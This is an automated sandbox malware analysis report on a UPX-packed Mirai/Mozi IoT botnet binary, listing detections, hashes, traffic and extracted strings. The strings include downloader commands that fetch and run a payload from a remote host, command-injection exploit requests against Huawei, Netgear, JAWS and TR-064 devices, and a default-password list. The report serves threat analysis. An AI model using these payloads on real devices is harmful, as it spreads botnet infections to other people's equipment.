Linux Analysis Report
bin.sh.elf

ID:	1562032
Product:	CloudBasic
Start time:	05:51:09
Start date:	25.11.2024
Sample:	bin.sh.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	5d0db9ff37085469196a5dc220c92f00
SHA1:	9ffc799474f245c71f0418a3b2391d5a4a7f0267
SHA256:	90a29b7c9feac74fbe29724f0f77d0c64e08f375852340f5bedb2eb155b9286a
Filetype:	ELF Executable and Linkable format (Linux) (4029/14) 50.16%

Name	Type	MD5	SHA1	SHA256

AV Detection

Source: bin.sh.elf

Avira: detected

Source: bin.sh.elf	ReversingLabs: Detection: 65%
Source: bin.sh.elf	Virustotal: Detection: 70%			Perma Link

Spreading

Source: bin.sh.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: bin.sh.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh ||curl -O http://%s:%d/bin.sh ||/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh ||(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: bin.sh.elf	String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'

Networking

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.a;chmod
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.a;sh$
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.m
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.m;
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.m;$
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/bin.sh
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/bin.sh;chmod
Source: bin.sh.elf	String found in binary or memory: http://127.0.0.1
Source: bin.sh.elf	String found in binary or memory: http://127.0.0.1sendcmd
Source: bin.sh.elf	String found in binary or memory: http://HTTP/1.1
Source: bin.sh.elf	String found in binary or memory: http://baidu.com/%s/%s/%d/%s/%s/%s/%s)
Source: bin.sh.elf	String found in binary or memory: http://ipinfo.io/ip
Source: bin.sh.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: bin.sh.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: bin.sh.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: bin.sh.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: bin.sh.elf	String found in binary or memory: http://upx.sf.net

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
Source: 6209.1.00007f486c400000.00007f486c422000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown

Source: LOAD without section mappings

Program segment: 0x400000

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: ..%s/%s/proc/haha/tmp/var/lib/dev/syscfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL "http://127.0.0.1"cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword "acsMozi"iptables -I INPUT -p tcp --destination-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 7547 -j DROPiptables -I OUTPUT -p tcp --source-port 7547 -j DROPiptables -I INPUT -p tcp --dport 35000 -j DROPiptables -I INPUT -p tcp --dport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 35000 -j DROPiptables -I INPUT -p tcp --dport 7547 -j DROPiptables -I OUTPUT -p tcp --sport 7547 -j DROP/mnt/jffs2/Equip.sh%s%s%s%s#!/bin/sh/mnt/jffs2/wifi.sh/mnt/jffs2/WifiPerformance.shbusybox%255s %255s %255s %255s
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls|head -n 1
Source: Initial sample	String containing 'busybox' found: /bin/busybox hexdump -e '16/1 "%c"' -n 52 /bin/ls
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls|more
Source: Initial sample	String containing 'busybox' found: "\x%02xsage:/bin/busybox cat /bin/ls|head -n 1
Source: Initial sample	String containing 'busybox' found: dd bs=52 count=1 if=/bin/ls || cat /bin/ls || while read i; do echo $i; done < /bin/ls || while read i; do echo $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox dd bs=52 count=1 if=/bin/ls || /bin/busybox cat /bin/ls || while read i; do printf $i; done < /bin/ls || while read i; do printf $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod 777 .i || (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo '%s' %s .i; %s && /bin/busybox echo '%s'
Source: Initial sample	String containing 'busybox' found: ./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh ||curl -O http://%s:%d/bin.sh ||/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh ||(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget;/bin/busybox echo -ne '%s'
Source: Initial sample	String containing 'busybox' found: ELF.r.c.x.k.p.s.6.m.l.4>>/bin/busybox chmod 777 .i || (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)>.x/bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: me./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Source: Initial sample	String containing potential weak password found: admin
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: support
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: 123456
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: admin1234

Source: Initial sample	Potential command found: GET /c HTTP/1.0
Source: Initial sample	Potential command found: GET %s HTTP/1.1
Source: Initial sample	Potential command found: GET /c
Source: Initial sample	Potential command found: GET /Mozi.6 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.7 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.c HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.m HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.x HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.a HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.s HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.r HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.b HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.4 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.k HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.l HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.p HTTP/1.0
Source: Initial sample	Potential command found: GET /%s HTTP/1.1
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron

Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
Source: 6209.1.00007f486c400000.00007f486c422000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/0@0/0

Data Obfuscation

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

Hooking and other Techniques for Hiding and Protection

Source: bin.sh.elf

Submission file: segment LOAD with 7.8156 entropy (max. 8.0)

Malware Analysis System Evasion

Source: /tmp/bin.sh.elf (PID: 6209)

Queries kernel information via 'uname':

Jump to behavior

Source: bin.sh.elf, 6209.1.000055b34d578000.000055b34d5ff000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: bin.sh.elf, 6209.1.000055b34d578000.000055b34d5ff000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: bin.sh.elf, 6209.1.00007fff01fcc000.00007fff01fed000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/bin.sh.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bin.sh.elf
Source: bin.sh.elf, 6209.1.00007fff01fcc000.00007fff01fed000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: bin.sh.elf, 6209.1.00007fff01fcc000.00007fff01fed000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped

Stealing of Sensitive Information

Source: Yara match

File source: bin.sh.elf, type: SAMPLE

Remote Access Functionality

Source: Yara match

File source: bin.sh.elf, type: SAMPLE